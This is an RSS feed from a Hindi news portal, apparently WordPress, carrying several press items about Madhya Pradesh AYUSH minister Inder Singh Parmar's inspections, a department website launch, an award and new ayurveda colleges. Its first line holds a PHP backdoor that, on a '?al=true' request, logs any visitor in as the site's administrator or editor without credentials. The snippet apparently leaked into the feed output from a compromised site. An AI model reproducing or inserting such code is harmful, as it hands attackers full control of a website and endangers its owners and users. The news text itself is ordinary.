// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); AYUSH Minister Parmar – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 18 Mar 2026 17:20:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 आयुष मंत्री परमार ने बैतूल जिला आयुष विंग का किया निरीक्षण, दिए आवश्यक निर्देश https://pratyushaashakinayikiran.com/?p=205918 Wed, 18 Mar 2026 17:20:00 +0000 https://pratyushaashakinayikiran.com/?p=205918 भोपाल

उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष विभाग मंत्री  इन्दर सिंह परमार ने बुधवार को बैतूल में जिला चिकित्सालय जिला आयुष विंग का औचक निरीक्षण कर वहां की व्यवस्थाओं का जायजा लिया। मंत्री  परमार ने पंचकर्म, शिरोधारा सहित विभिन्न आयुष चिकित्सा पद्धतियों का अवलोकन किया।

आयुष मंत्री  परमार ने सिकल सेल यूनिट के साथ आयुर्वेद एवं होम्योपैथी दवाओं के वितरण व्यवस्था की भी समीक्षा की और संबंधित अधिकारियों को दवाओं का वितरण सुचारू रूप से सुनिश्चित करने के निर्देश दिए। मंत्री  परमार ने कहा कि आयुष औषधियों का पर्याप्त स्टॉक बनाए रखा जाए तथा आवश्यकता अनुसार समय पर मांग प्रस्तावित की जाए।

निरीक्षण के दौरान मंत्री  परमार ने आयुष विंग में साफ-सफाई एवं सुव्यवस्थित संचालन पर विशेष ध्यान देने के निर्देश दिए। मंत्री  परमार ने कहा कि जिले में आयुष चिकित्सा पद्धतियों को दृढ़ता से स्थापित करते हुए, उनका प्रभावी एवं सफल क्रियान्वयन सुनिश्चित किया जाए।

इस अवसर पर मुलताई विधायक  चंद्रशेखर देशमुख, घोड़ाडोंगरी विधायक मती गंगाबाई उईके तथा जिला आयुष अधिकारी  योगेश चौकीकर सहित अन्य अधिकारी उपस्थित थे।

 

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विभागीय पारदर्शिता, दक्षता और सेवा वितरण को सुदृढ़ करेगी नवीन वेबसाइट : आयुष मंत्री परमार https://pratyushaashakinayikiran.com/?p=187812 Tue, 28 Oct 2025 15:48:00 +0000 https://pratyushaashakinayikiran.com/?p=187812 आयुष विभाग की नवीन वेबसाइट का शुभारम्भ

भोपाल 
उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष मंत्री श्री इन्दर सिंह परमार ने मंगलवार को भोपाल निवास स्थित कार्यालय में आयुष विभाग की नवीन वेबसाइट का शुभारम्भ किया। उन्होंने कहा कि नई वेबसाइट विकसित होने से विभागीय सेवाओं को तेजगति मिलेगी। साथ ही विभागीय गतिविधियों एवं सेवाओं की जानकारी आमजन तक सुलभ एवं पारदर्शी रूप से उपलब्ध होगी।

आयुष मंत्री श्री परमार ने कहा कि आयुर्वेद, भारतीय ज्ञान परम्परा से जुड़ा विषय है। प्रधानमंत्री श्री नरेन्द्र मोदी के नेतृत्व में आयुर्वेद पुनः विश्वमंच पर स्वास्थ्य सेवाओं की दृष्टि से व्यापक रूप से आगे बढ़ रहा है। मुख्यमंत्री डॉ मोहन यादव के संकल्प के अनुरूप विभाग आयुष चिकित्सा सेवाओं को जन-जन तक पहुंचाने के लिए प्रतिबद्धता के साथ कार्य कर रहा है।

उन्होंने कहा कि यह वेबसाइट आयुष विभाग की पारदर्शिता, दक्षता और सेवा वितरण को और अधिक सुदृढ़ करेगी। उल्लेखनीय है कि एमपीएसईडीसी द्वारा विकसित यह वेबसाइट, भारत सरकार की वेबसाइट गाइडलाइन और मानकों के अनुरूप विकसित की गई है।

इस अवसर पर आयुक्त आयुष श्रीमति उमा आर माहेश्वरी, विशेष कर्त्तव्यस्थ अधिकारी संचालनालय आयुष डॉ. कीर्ति राठौर एवं संयुक्त संचालक एमपीएसईडीसी श्री धर्मेन्द्र कोष्ठा सहित अन्य अधिकारी उपस्थित थे।

 

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आयुष मंत्री परमार ने विभाग को स्कॉच अवॉर्ड-2025 मिलने पर दी बधाई एवं शुभकामनाएं https://pratyushaashakinayikiran.com/?p=179106 Tue, 19 Aug 2025 10:41:00 +0000 https://pratyushaashakinayikiran.com/?p=179106 भोपाल 

उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष मंत्री  इन्दर सिंह परमार ने, आयुष विभाग को प्रतिष्ठित "स्कॉच अवॉर्ड- 2025" (SKOCH Award-2025) मिलने पर बधाई एवं शुभकामनाएँ दी हैं।

आयुष मंत्री  परमार ने कहा कि "स्कॉच अवॉर्ड- 2025" प्राप्त करना, प्रदेश के लिए गौरव का क्षण है। यह उपलब्धि टीम भावना, नवाचार और उत्कृष्ट कार्य का परिणाम है, जिससे नागरिकों को समय पर बेहतर स्वास्थ्य सेवाएं प्राप्त हो रही हैं।

प्रमुख सचिव आयुष  डी.पी. आहूजा ने भी इस उपलब्धि के लिए विभाग को बधाई एवं शुभकामनाएं दी हैं।  आहूजा ने कहा कि "आयुष ई-मॉनिटरिंग ने पारदर्शिता और जवाबदेही को मजबूत किया है तथा राज्य के स्वास्थ्य तंत्र में आयुष चिकित्सा की सुलभता और गुणवत्ता को नई ऊंचाइयों तक पहुंचाया है।" विभागीय अधिकारियों की सतत् निगरानी एवं समन्वय ने विभाग की इस सफलता में महत्वपूर्ण भूमिका निभाई है। उनके प्रयासों से ई-मॉनिटरिंग सिस्टम के सभी घटकों का प्रभावी क्रियान्वयन सुनिश्चित हुआ, जिससे राज्यभर में आयुष सेवाओं की पहुंच और गुणवत्ता में उल्लेखनीय सुधार हुआ है।

आयुष विभाग को यह सम्मान 'आयुष ई-मॉनिटरिंग सिस्टम' परियोजना के सफल क्रियान्वयन एवं उत्कृष्ट परिणामों के लिए प्रदान किया गया है। यह अवार्ड तीन चरणों की विस्तृत प्रस्तुतियों (Presentations) और दो चरणों की सार्वजनिक डिजिटल वोटिंग के बाद प्रदान किया गया, जो इस उपलब्धि की पारदर्शिता और गुणवत्ता को और अधिक प्रमाणित करता है। "स्कॉच अवॉर्ड-2025" वितरण समारोह, 20 सितम्बर 2025 को नई दिल्ली में आयोजित होने वाली स्कॉच समिट के दौरान होगा।

आयुष ई-मॉनिटरिंग के मुख्य उद्देश्य हैं- प्रदेश के आयुष चिकित्सालयों और चिकित्सा महाविद्यालयों में OPD (आउट पेशेंट विभाग) में अधिकतम वृद्धि करना, अधिक से अधिक नागरिकों को आयुष सुविधा कवरेज में लाना और लोगों को स्वस्थ एवं रोगमुक्त बनाने के लिए गुणवत्तापूर्ण आयुष सेवाएं उपलब्ध कराना। आयुष विभाग ने इस लक्ष्य को प्राप्त करने के लिए माह में दो बार वीडियो कॉन्फ्रेंसिंग (VC) कर सभी आयुष चिकित्सा अधिकारियों एवं आयुष मेडिकल कॉलेजों के साथ अनुभव साझा करना, समस्याओं का समाधान, कठोर निगरानी और मूल्यांकन, हर केंद्र के प्रदर्शन की नियमित समीक्षा, प्रत्येक आयुष सुविधा की रैंकिंग प्रकाशित करना, प्रतिस्पर्धात्मक वातावरण तैयार कर गुणवत्ता बढ़ाना, आयुष अवसंरचना को सुदृढ़ बनाना अस्पतालों और कॉलेजों में आधुनिक सुविधाओं का विकास करना जैसे अनेक नवाचार अपनाए हैं।

 

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प्रकृति परीक्षण अभियान से, आयुर्वेद के प्रति आएगी जन जागृति- आयुष मंत्री परमार https://pratyushaashakinayikiran.com/?p=103733 Thu, 28 Nov 2024 11:46:00 +0000 https://pratyushaashakinayikiran.com/?p=103733 प्रकृति परीक्षण अभियान से, आयुर्वेद के प्रति आएगी जन जागृति- आयुष मंत्री परमार

आयुर्वेद से होगी "निरोगी काया एवं स्वस्थ जीवन शैली" की संकल्पना साकार – आयुष मंत्री परमार

पं. खुशीलाल शर्मा आयुर्वेद संस्थान में, "देश का प्रकृति परीक्षण अभियान" का संवेदीकरण कार्यक्रम संपन्न

भोपाल

आयुर्वेद से "निरोगी काया एवं स्वस्थ जीवन शैली" की संकल्पना साकार होगी। आयुर्वेद को विश्वमंच पर सर्वव्यापी एवं सर्वस्पर्शी बनाने के लिए संकल्प के साथ, परिश्रम की आवश्यकता है। इसके लिए समाज में भारतीय विधा आयुर्वेद के प्रति विश्वास का भाव जागृत करना होगा। यह बात उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष मंत्री इन्दर सिंह परमार ने बुधवार को भोपाल के पं. खुशीलाल शर्मा आयुर्वेद संस्थान में, "देश का प्रकृति परीक्षण अभियान" के प्रदेश में संवेदीकरण कार्यक्रम का शुभारंभ कर कही।

आयुष मंत्री परमार ने कहा कि समाज में विश्वास का भाव जागृत करने का माध्यम यह प्रकृति परीक्षण बनेगा। आयुर्वेद, हमारी जीवन पद्धति और श्रेष्ठ पैथी है, इसे विश्वमंच पर पुनर्स्थापित करने की आवश्यकता है। कोविड के संकटकाल में, हम सभी ने आयुर्वेद के महत्व को अनुभव किया है। आयुर्वेद ऐसी पैथी है, जो रोग होने से बचाव और निदान दोनों के लिए कारगर है। परमार ने बताया कि प्रत्येक मनुष्य की एक विशिष्ट प्रकृति होती है, जो गर्भाधान से मृत्यु पर्यंत नियत रहती है। यह आयुर्वेद का मौलिक सिद्धांत है और प्रकृति का ज्ञान व्यक्ति के स्वास्थ्य रक्षण एवं चिकित्सा के लिए महत्वपूर्ण एवं अत्यावश्यक होता है। प्रकृति के ज्ञान के आधार पर दिनचर्या को आयुर्वेदिक परामर्श के साथ समाहित कर, स्वस्थ जीवन शैली निर्धारित की जा सकती है। परमार ने कहा कि प्रकृति परीक्षण के इस अभियान को संकल्प के साथ तीव्र गति से पूर्ण करें। उन्होंने कहा कि मुझे पूर्ण विश्वास है कि आयुर्वेद चिकित्सकों एवं विद्यार्थियों के परिश्रम एवं जनसामान्य की सहभागिता से यह अभियान प्रदेश में समग्र, सर्वस्पर्शी एवं सर्वव्यापी होगा और हमारा प्रदेश इस अभियान में राष्ट्रीय स्तर पर अग्रणी होगा।

मंत्री परमार ने इस राष्ट्रव्यापी अभियान के अन्तर्गत स्वयं का प्रकृति परीक्षण करवाकर "संकल्प स्वास्थ्य का, आधार आयुर्वेद का" स्लोगन का वाचन कर आयुर्वेद आधारित स्वास्थ्य का संकल्प लिया।

केंद्रीय आयुष मंत्रालय की सलाहकार समिति के सदस्य अशोक वार्ष्णेय ने देश का प्रकृति परीक्षण अभियान द्वारा आयुर्वेद को जन-जन तक स्थापित करने के लिए तथा आयुर्वेद की स्वीकारोक्ति को बढ़ावा देने के उददेश्य को स्पष्ट किया। साथ ही नेशनल सेम्पल सर्वे आर्गेनाइजेशन (NSSO) के आंकड़ों के माध्यम से भारत में आयुर्वेद के प्रति लोगों का विश्वास तथा स्वास्थ्य सेवाओं में आयुर्वेद के बढ़ते योगदान को प्रकाशित किया।

मध्यप्रदेश सहित सम्पूर्ण देश भर में यह अभियान अगले एक माह दिसम्बर तक निरंतर चलेगा। कार्यक्रम में प्रकृति परीक्षण अभियान के महत्व को प्रकाशित कर इसके विधि-विधान, इसमें भागीदारी को स्पष्ट कर बताया गया कि इस अभियान के द्वारा गिनीज वर्ल्ड रिकॉर्ड के माध्यम से कुछ विश्व कीर्तिमान स्थापित करने का भी संकल्प लिया गया है, जिससे विश्व में भी आयुर्वेद के प्रति जनजागृति बढेगी।

अभियान के राज्य समन्वयक एवं संस्थान के प्रधानाचार्य डॉ. उमेश शुक्ला एवं सह-समन्वयक डॉ. एस.एन. पांडे सहित विविध आयुर्वेदाचार्य, आयुष चिकित्सक, विभागीय अधिकारीगण, संस्थान के प्राध्यापक एवं विद्यार्थी उपस्थित थे। कार्यक्रम समन्वयक डॉ. शुचि दुबे ने इस अभियान के संबंध में संक्षिप्त रूपरेखा प्रस्तुत की और कार्यक्रम का संचालन डॉ. अलीशा प्रकाश ने किया।

ज्ञातव्य है कि नवम् राष्ट्रीय आयुर्वेद दिवस के उपलक्ष्य पर, भारतीय विधा आयुर्वेद को सर्वव्यापी एवं सर्वस्पर्शी बनाने के लिए, प्रधानमंत्री मोदी के मार्गदर्शन में "देश का प्रकृति परीक्षण अभियान" का सृजन हुआ। इस राष्ट्रव्यापी कार्यक्रम का शुभारंभ 26 नवम्बर को संविधान दिवस के अवसर पर राष्ट्रपति श्रीमति द्रौपदी मुर्मु के प्रकृति परीक्षण के साथ हुआ। यह अभियान 26 नवम्बर 2024 संविधान दिवस से 25 दिसम्बर 2024 सुशासन दिवस तक चलेगा।

 

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प्रदेश में 5 नवीन शासकीय आयुर्वेद महाविद्यालय एवं 2 नवीन 50 बिस्तरीय आयुष चिकित्सालय होंगे स्थापित https://pratyushaashakinayikiran.com/?p=72670 Fri, 20 Sep 2024 16:08:00 +0000 https://pratyushaashakinayikiran.com/?p=72670 भोपाल

राष्ट्रीय आयुष मिशन अंतर्गत प्रदेश में 5 नवीन शासकीय आयुर्वेद महाविद्यालय एवं 2 नवीन 50 बिस्तरीय आयुष चिकित्सालयों की स्थापना स्वीकृति मिली है। उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष मंत्री इन्दर सिंह परमार ने इसके लिए भारत सरकार को धन्यवाद ज्ञापित किया है। मंत्री परमार ने कहा कि प्रधानमंत्री नरेंद्र मोदी के मार्गदर्शन और मुख्यमंत्री डॉ मोहन यादव के नेतृत्व में राज्य सरकार, नागरिकों को गुणवत्तापूर्ण स्वास्थ्य सुविधाएं उपलब्ध कराने के लिए प्रतिबद्धता से कार्य कर रही है। मुख्यमंत्री डॉ मोहन यादव के नेतृत्व में स्वस्थ, समृद्ध और विकसित मध्यप्रदेश आकार ले रहा है। हमारा लक्ष्य जनाकांक्षाओं की पूर्ति और प्रदेश की सर्वांगीण प्रगति है। मंत्री परमार ने कहा कि प्रदेश के विभिन्न जिलों में नवीन शासकीय आयुर्वेद महाविद्यालय एवं आयुष चिकित्सालय बनने से आयुष चिकित्सा अध्ययन एवं आयुष स्वास्थ्य सेवाओं का विस्तार होगा। आयुर्वेद चिकित्सा पद्धति के अध्ययन के लिए विद्यार्थियों को सुलभता होगी और नागरिकों को भी गुणवत्तापूर्ण आयुष चिकित्सा आसानी से उपलब्ध हो सकेगी।

आयुष मंत्री परमार ने बताया कि राष्ट्रीय आयुष मिशन योजना अंतर्गत प्रत्येक महाविद्यालय की स्थापना के लिए लगभग 70 करोड़ रुपए राशि की स्वीकृति प्रदान की गई है। इस तरह प्रदेश को कुल 350 करोड़ रुपए की राशि नवीन शासकीय आयुर्वेद महाविद्यालयों की स्थापना के लिए स्वीकृत की गई है। इसके अंतर्गत प्रदेश के सागर, शहडोल, बालाघाट, नर्मदापुरम एवं मुरैना जिले में शासकीय आयुर्वेद महाविद्यालय की स्थापना होगी, इससे प्रदेश के समस्त संभागों में अब शासकीय आयुर्वेद महाविद्यालय स्थापित हो जाएंगे। परमार ने बताया कि औषधीय वनस्पतियों से भरपूर जनजातीय बाहुल्य क्षेत्र बालाघाट में शासकीय आयुर्वेद महाविद्यालय की स्थापना होने से छात्र-छात्राओं को सुगम रूप से अध्ययन, शोध एवं गुणवत्तापूर्ण आयुर्वेद चिकित्सा सुविधा प्राप्त हो सकेगी। जनजातीय क्षेत्र में प्राप्त होने वाली औषधीय वनस्पतियों के शोध एवं क्षेत्र में प्रचलित प्राचीन आयुर्वेद चिकित्सा पद्धति में भी शोध और अनुसंधान के अधिकाधिक अवसर उपलब्ध होंगे। परमार ने बताया कि प्रथम चरण में इन जिलों के आयुष चिकित्सालयों के उन्नयन के लिए चिकित्सालय भवन का निर्माण किया जाएगा।

आयुष मंत्री परमार ने बताया कि आयुष चिकित्सा सुविधा जन-जन तक पहुंचाने एवं औषधीय वनस्पति की खेती को प्रोत्साहन देने के उद्देश्य से कृषकों एवं मण्डी के लिए प्रसिद्ध शुजालपुर एवं PVTG (विशेष पिछड़ी जनजाति समूह) जनजातीय क्षेत्र श्योपुर में 50 बिस्तरीय आयुष चिकित्सालयों की स्थापना के लिए राशि स्वीकृत की गई है। इसमें प्रत्येक आयुष चिकित्सालय की स्थापना के लिए लगभग 15 करोड़ रुपए की राशि की स्वीकृति मिली है।

 

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